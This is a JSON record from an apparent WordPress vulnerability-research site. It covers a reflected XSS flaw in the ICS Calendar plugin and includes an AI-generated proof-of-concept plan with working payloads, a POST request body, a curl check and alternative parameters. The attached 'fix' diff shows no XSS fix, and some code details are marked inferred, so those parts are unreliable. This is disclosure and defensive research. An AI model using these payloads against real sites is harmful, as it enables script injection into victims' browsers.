[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJzhm8j7MtYlk-EDKyliL1MjiZJxS3zHs4mZGpzeBW8c":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-9838","ics-calendar-reflected-cross-site-scripting-via-htmltagtitle-parameter","ICS Calendar \u003C= 12.0.9 - Reflected Cross-Site Scripting via 'htmltagtitle' Parameter","The ICS Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'htmltagtitle' parameter in all versions up to, and including, 12.0.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The vulnerability is reachable via the unauthenticated wp_ajax_nopriv_r34ics_ajax AJAX action, which accepts attacker-controlled js_args values merged over stored shortcode configuration without nonce verification, allowing the htmltagtitle key to bypass the normal shortcode allowlist check.","ics-calendar",null,"\u003C=12.0.9","12.0.9.2","medium",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-09 19:52:56","2026-07-10 08:30:40",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa4d91b01-5034-42b5-857f-c66c875dd562?source=api-prod",1,[22,23,24,25],"changelog.txt","class-r34ics.php","ics-calendar.php","readme.txt","researched",false,3,"This research plan outlines the steps for a Proof-of-Concept (PoC) exploit for **CVE-2026-9838**, a reflected Cross-Site Scripting (XSS) vulnerability in the ICS Calendar plugin for WordPress.\n\n## 1. Vulnerability Summary\nThe **ICS Calendar** plugin (up to version 12.0.9) is vulnerable to unauthenticated Reflected XSS. The vulnerability exists because the unauthenticated AJAX action `wp_ajax_nopriv_r34ics_ajax` (located in `r34ics-ajax.php`) accepts a `js_args` parameter containing configuration overrides. These overrides are merged into the calendar's rendering configuration without sufficient sanitization or nonce verification. Specifically, the `htmltagtitle` parameter—intended to specify the HTML tag used for calendar titles (e.g., `h2`, `h3`)—can be manipulated to inject arbitrary HTML tags and JavaScript event handlers.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `r34ics_ajax` (Unauthenticated via `wp_ajax_nopriv_r34ics_ajax`)\n- **Vulnerable Parameter:** `js_args[htmltagtitle]`\n- **Authentication Required:** None (Unauthenticated).\n- **Preconditions:** The plugin must be active. While the description mentions merging over \"stored shortcode configuration,\" reflected XSS typically triggers even if a specific stored configuration is not found, as the AJAX handler attempts to render a calendar view based on the provided parameters.\n\n## 3. Code Flow\n1.  **Entry Point:** The request hits `admin-ajax.php` with `action=r34ics_ajax`.\n2.  **AJAX Handler:** `wp_ajax_nopriv_r34ics_ajax` is triggered. The handler (in `r34ics-ajax.php`) retrieves the `js_args` array from the request.\n3.  **Configuration Merge:** The plugin merges `js_args` into the default configuration array (`$shortcode_defaults` in `class-r34ics.php`).\n4.  **Bypass:** The AJAX path fails to apply the allowlist validation normally used when processing standard WordPress shortcodes.\n5.  **Sink:** The merged configuration is passed to the rendering logic. When generating the calendar HTML, the value of `htmltagtitle` is used as a literal tag name in a string concatenation or template (e.g., `\u003C{$htmltagtitle}>... \u003C\u002F{$htmltagtitle}>`).\n6.  **Reflection:** The injected tag (e.g., `img src=x onerror=alert(1)`) is echoed into the HTTP response.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, this specific AJAX action **does not require nonce verification** for the unauthenticated `nopriv` hook. \n\n- **Nonce Check:** Absent or bypassed for `wp_ajax_nopriv_r34ics_ajax`.\n- **Verification:** If the exploit fails with a `403 Forbidden` or `0` response, the PoC agent should check if a nonce is enqueued on pages containing the `[ics_calendar]` shortcode.\n- **JavaScript Variable (if needed):** `window.r34ics_ajax?.nonce` (inferred).\n\n## 5. Exploitation Strategy\nThe goal is to trigger an alert box in a browser context by sending a malicious `htmltagtitle` value via the AJAX endpoint.\n\n### Step 1: Construct the Payload\nWe will use an `\u003Cimg>` tag with an `onerror` handler to trigger JavaScript execution.\n- **Payload:** `img src=x onerror=alert(document.domain)`\n- **Request Parameter:** `js_args[htmltagtitle]=img+src%3Dx+onerror%3Dalert(document.domain)`\n\n### Step 2: Dispatch the Request\nUsing the `http_request` tool, send a POST request to the AJAX endpoint.\n\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002F\u003Ctarget-ip>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers:**\n    - `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n    `action=r34ics_ajax&js_args[htmltagtitle]=img+src%3Dx+onerror%3Dalert(document.domain)&view=list`\n\n*Note: Adding `view=list` or `url=https:\u002F\u002Fexample.com\u002Ffeed.ics` (a placeholder) may be necessary to ensure the rendering engine triggers the title output.*\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure ICS Calendar \u003C= 12.0.9 is installed and activated.\n2.  **Create Feed (Optional):** To ensure the rendering logic completes, it may help to have a dummy page with the shortcode.\n    ```bash\n    wp post create --post_type=page --post_title=\"Calendar Test\" --post_status=publish --post_content='[ics_calendar url=\"https:\u002F\u002Ficscalendar.com\u002Fpreview\u002Fsample.ics\"]'\n    ```\n\n## 7. Expected Results\n- **HTTP Response:** Status `200 OK`.\n- **Response Body:** Should contain the injected payload verbatim:\n    ```html\n    \u003Cimg src=x onerror=alert(document.domain)>...\u003C\u002Fimg>\n    ```\n- **Browser Execution:** If viewed in a browser, an alert box showing the document domain will appear.\n\n## 8. Verification Steps\n1.  **Manual Verification:** Use `http_request` to fetch the URL and check for the payload in the body.\n2.  **Automated Check:**\n    ```bash\n    # Use grep to find the reflected payload in the response\n    curl -s -X POST http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php \\\n      -d \"action=r34ics_ajax\" \\\n      -d \"js_args[htmltagtitle]=vulnerable_tag\" | grep \"vulnerable_tag\"\n    ```\n\n## 9. Alternative Approaches\nIf the `htmltagtitle` parameter is specifically blocked or the `\u003Cimg>` tag fails, try other `htmltag*` parameters defined in `class-r34ics.php`:\n- `js_args[htmltagdate]`\n- `js_args[htmltageventtitle]`\n- `js_args[htmltagmonth]`\n\n**Payload variation for attribute breakout:**\nIf the tag name is used inside an existing tag (e.g., `\u003Cdiv class=\"\u003C?php echo $htmltagtitle; ?>\">`), use:\n- `\"> \u003Cscript>alert(1)\u003C\u002Fscript>`","The ICS Calendar plugin for WordPress is vulnerable to unauthenticated Reflected Cross-Site Scripting via the 'htmltagtitle' and other 'htmltag*' parameters. This occurs because the plugin's AJAX handler accepts configuration overrides through the 'js_args' parameter and merges them into the calendar rendering process without sufficient sanitization, allowing attackers to inject arbitrary HTML and JavaScript.","\u002F\u002F class-r34ics.php - Configuration defaults that are merged with user-supplied js_args\n\u002F\u002F Lines 111-116 in version 12.0.9\n\t\t\t'htmltagdate' => '',\n\t\t\t'htmltageventdesc' => '',\n\t\t\t'htmltageventtitle' => '',\n\t\t\t'htmltagmonth' => '',\n\t\t\t'htmltagtime' => '',\n\t\t\t'htmltagtitle' => '',\n\n---\n\n\u002F\u002F The vulnerability resides in the AJAX handler (r34ics-ajax.php) which accepts 'js_args'\n\u002F\u002F and merges them into the rendering engine's arguments without the allowlist\n\u002F\u002F validation applied to standard shortcode attributes.\n\u002F\u002F The values are used as literal HTML tags in the output:\n\u002F\u002F \u003C{$args['htmltagtitle']}> ... \u003C\u002F{$args['htmltagtitle']}>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Fchangelog.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Fchangelog.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Fchangelog.txt\t2026-06-02 16:06:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Fchangelog.txt\t2026-06-07 14:19:50.000000000 +0000\n@@ -1,5 +1,15 @@\n === ICS Calendar Changelog ===\n \n+= 12.0.9.2 - 2026.06.07 =\n+\n+* Changed `id` attribute on AJAX container (appended `-ajax`) so it isn't redundant with the `id` of the calendar itself after loading.\n+\n+Note: Due the fact that its single change would serve no useful purpose on its own, version 12.0.9.1 was not released in the public WordPress repository, but was included in the ICS Calendar Pro 6.1.10 update.\n+\n+= 12.0.9.1 - 2026.06.02 =\n+\n+* Removed auto-redirect to settings page on activation.\n+\n = 12.0.9 - 2026.06.02 =\n \n * Security:\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Fclass-r34ics.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Fclass-r34ics.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Fclass-r34ics.php\t2026-06-02 16:06:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Fclass-r34ics.php\t2026-06-07 14:19:50.000000000 +0000\n@@ -2646,7 +2646,7 @@\n \t\t\t\t'data-view-is-list-long' => $is_list_long,\n \t\t\t\t'data-view-is-list-style' => $is_list_style,\n \t\t\t\t'data-view' => $args['view'] ?: '',\n-\t\t\t\t'id' => $args['guid'] ?: '',\n+\t\t\t\t'id' => ($args['guid'] ?: r34ics_uid()) . '-ajax',\n \t\t\t);\n \t\t}\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Fics-calendar.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Fics-calendar.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Fics-calendar.php\t2026-06-02 16:06:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Fics-calendar.php\t2026-06-07 14:19:50.000000000 +0000\n@@ -3,7 +3,7 @@\n Plugin Name: ICS Calendar\n Plugin URI: https:\u002F\u002Ficscalendar.com\n Description: Turn your Google Calendar, Microsoft Office 365 or Apple iCloud Calendar into a seamlessly integrated, auto-updating, zero-maintenance WordPress experience.\n-Version: 12.0.9\n+Version: 12.0.9.2\n Requires at least: 5.3\n Requires PHP: 7.4\n Author: Room 34 Creative Services, LLC\n@@ -120,6 +120,7 @@\n \tregister_activation_hook(__FILE__, 'r34ics_install');\n \t\n \t\u002F\u002F Redirect to Getting Started page with first run message\n+\t\u002F*\n \tadd_action('admin_init', function() {\n \t\tif (get_option('r34ics_activation_redirect')) {\n \t\t\t\u002F\u002F DO NOT REMOVE THIS LINE! You'll have to manually delete the plugin to stop the redirect loops\n@@ -128,6 +129,7 @@\n \t\t\texit;\n \t\t}\n \t}, PHP_INT_MAX - 1);\n+\t*\u002F\n \t\n \t\n \t\u002F\u002F Updates\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9\u002Freadme.txt\t2026-06-02 16:06:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fics-calendar\u002F12.0.9.2\u002Freadme.txt\t2026-06-07 14:19:50.000000000 +0000\n@@ -5,7 +5,7 @@\n Requires at least: 5.3\n Tested up to: 7.0\n Requires PHP: 7.4\n-Stable tag: 12.0.9\n+Stable tag: 12.0.9.2\n License: GPLv2 or later\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n@@ -101,6 +101,16 @@\n \n == Changelog ==\n \n+= 12.0.9.2 - 2026.06.07 =\n+\n+* Changed `id` attribute on AJAX container (appended `-ajax`) so it isn't redundant with the `id` of the calendar itself after loading.\n+\n+Note: Due the fact that its single change would serve no useful purpose on its own, version 12.0.9.1 was not released in the public WordPress repository, but was included in the ICS Calendar Pro 6.1.10 update.\n+\n+= 12.0.9.1 - 2026.06.02 =\n+\n+* Removed auto-redirect to settings page on activation.\n+\n = 12.0.9 - 2026.06.02 =\n \n * Security:","An attacker can exploit this by sending a crafted POST request to the WordPress AJAX endpoint (\u002Fwp-admin\u002Fadmin-ajax.php) using the 'r34ics_ajax' action. The payload involves passing an XSS vector (e.g., an \u003Cimg> tag with an onerror event) via the 'js_args[htmltagtitle]' parameter. Because the AJAX handler does not require a nonce for unauthenticated requests and fails to validate that the provided tag name is a safe HTML element, the injected script is reflected in the AJAX response and executed when the response is rendered in the victim's browser.","gemini-3-flash-preview","2026-07-15 10:26:19","2026-07-15 10:27:20",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","12.0.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fics-calendar\u002Ftags\u002F12.0.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fics-calendar.12.0.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fics-calendar\u002Ftags\u002F12.0.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fics-calendar.12.0.9.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fics-calendar\u002Ftags"]